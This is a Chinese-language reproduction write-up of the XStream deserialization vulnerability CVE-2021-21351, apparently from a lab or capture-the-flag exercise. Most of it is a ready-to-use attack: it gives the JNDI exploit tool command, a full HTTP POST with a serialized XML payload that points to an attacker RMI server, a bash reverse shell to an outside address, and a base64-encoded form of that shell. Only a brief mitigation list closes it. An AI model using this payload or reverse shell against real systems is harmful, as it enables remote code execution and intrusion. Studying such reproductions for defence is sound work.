xstream-cve_2021_21351反序列化漏洞复现

# 漏洞名称： xstream-cve_2021_21351

## 漏洞简介

* Stream是Java类库，用来将对象序列化成XML （JSON）或反序列化为对象。XStream是自由软件，可以在BSD许可证的许可下分发。它是一种OXMapping 技术，是用来处理XML文件序列化的框架在将javaBean序列化，或将XML文件反序列化的时候，不需要其它辅助类和映射文件，使得XML序列化不再繁琐。在 1.4.16 版本之前的 XStream 中，存在一个漏洞，允许远程攻击者仅通过操纵处理后的输入流，解组时处理的流包含类型信息以重新创建以前编写的对象，XStream 因此基于这些类型信息创建新实例，攻击者可以操纵处理过的输入流并替换或注入对象，从而执行从远程服务器加载的任意代码。

## 影响范围

* Xstream<=1.4.15

## 漏洞复现

* 该漏洞需org.apache.naming.factory.BeanFactory借助EL表达式注入来执行任意命令，使用JNDI-Injection-Exploit工具可以启动JNDI服务器以获得JNDI链接，可以将这些链接插入到你的POC中来测试漏洞，进而代码执行。

* 工具链接：https://github.com/welk1n/JNDI-Injection-Exploit/

* 下载该工具jar文件：https://github.com/welk1n/JNDI-Injection-Exploit/releases/download/v1.0/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar

* 使用工具执行下面命令：

```java

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/success" -A 192.168.159.238

```

 

* 使用基于SpringBoot利用链的RMI地址作为<dataSource>的值，构造POC如下：

```

POST / HTTP/1.1

Host: 192.168.159.138:63042

Accept-Encoding: gzip, deflate

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36

Connection: close

Content-Type: application/xml

Content-Length: 3184

<sorted-set>

  <javax.naming.ldap.Rdn_-RdnEntry>

    <type>ysomap</type>

    <value class='com.sun.org.apache.xpath.internal.objects.XRTreeFrag'>

      <m__DTMXRTreeFrag>

        <m__dtm class='com.sun.org.apache.xml.internal.dtm.ref.sax2dtm.SAX2DTM'>

          <m__size>-10086</m__size>

          <m__mgrDefault>

            <__overrideDefaultParser>false</__overrideDefaultParser>

            <m__incremental>false</m__incremental>

            <m__source__location>false</m__source__location>

            <m__dtms>

              <null/>

            </m__dtms>

            <m__defaultHandler/>

          </m__mgrDefault>

          <m__shouldStripWS>false</m__shouldStripWS>

          <m__indexing>false</m__indexing>

          <m__incrementalSAXSource class='com.sun.org.apache.xml.internal.dtm.ref.IncrementalSAXSource_Xerces'>

            <fPullParserConfig class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'>

              <javax.sql.rowset.BaseRowSet>

                <default>

                  <concurrency>1008</concurrency>

                  <escapeProcessing>true</escapeProcessing>

                  <fetchDir>1000</fetchDir>

                  <fetchSize>0</fetchSize>

                  <isolation>2</isolation>

                  <maxFieldSize>0</maxFieldSize>

                  <maxRows>0</maxRows>

                  <queryTimeout>0</queryTimeout>

                  <readOnly>true</readOnly>

                  <rowSetType>1004</rowSetType>

                  <showDeleted>false</showDeleted>

                  <dataSource>rmi://192.168.159.238:1099/ldefqm</dataSource>

                  <listeners/>

                  <params/>

                </default>

              </javax.sql.rowset.BaseRowSet>

              <com.sun.rowset.JdbcRowSetImpl>

                <default/>

              </com.sun.rowset.JdbcRowSetImpl>

            </fPullParserConfig>

            <fConfigSetInput>

              <class>com.sun.rowset.JdbcRowSetImpl</class>

              <name>setAutoCommit</name>

              <parameter-types>

                <class>boolean</class>

              </parameter-types>

            </fConfigSetInput>

            <fConfigParse reference='../fConfigSetInput'/>

            <fParseInProgress>false</fParseInProgress>

          </m__incrementalSAXSource>

          <m__walker>

            <nextIsRaw>false</nextIsRaw>

          </m__walker>

          <m__endDocumentOccured>false</m__endDocumentOccured>

          <m__idAttributes/>

          <m__textPendingStart>-1</m__textPendingStart>

          <m__useSourceLocationProperty>false</m__useSourceLocationProperty>

          <m__pastFirstElement>false</m__pastFirstElement>

        </m__dtm>

        <m__dtmIdentity>1</m__dtmIdentity>

      </m__DTMXRTreeFrag>

      <m__dtmRoot>1</m__dtmRoot>

      <m__allowRelease>false</m__allowRelease>

    </value>

  </javax.naming.ldap.Rdn_-RdnEntry>

  <javax.naming.ldap.Rdn_-RdnEntry>

    <type>ysomap</type>

    <value class='com.sun.org.apache.xpath.internal.objects.XString'>

      <m__obj class='string'>test</m__obj>

    </value>

  </javax.naming.ldap.Rdn_-RdnEntry>

</sorted-set>

```

* 抓包，修改数据包

 

* 虽然报错500，但是命令已经成功执行

 

* 反弹shell：

```bash -i >& /dev/tcp/192.168.159.238/9999 0>&1```

* 但是需要将命令进行编码，否则其中的包含空格的参数连带整条命令可能会被JavaStringTokenizer 类所“误解”。

```shell

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1OS4yMzgvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}

```

* 使用工具生成rmi的payload

 

* burpsuite发包，kali获取反弹shell

* flag-{bmh4dc2c379-59bc-4831-a22c-cfb18352fc61}

## 漏洞防范

1. 配置XStream的安全框架为允许的类型使用白名单;

2. 注册自己的转换器，以防止解组当前已知的 Java 运行时关键类型;

3. 升级Xstream到最新版本.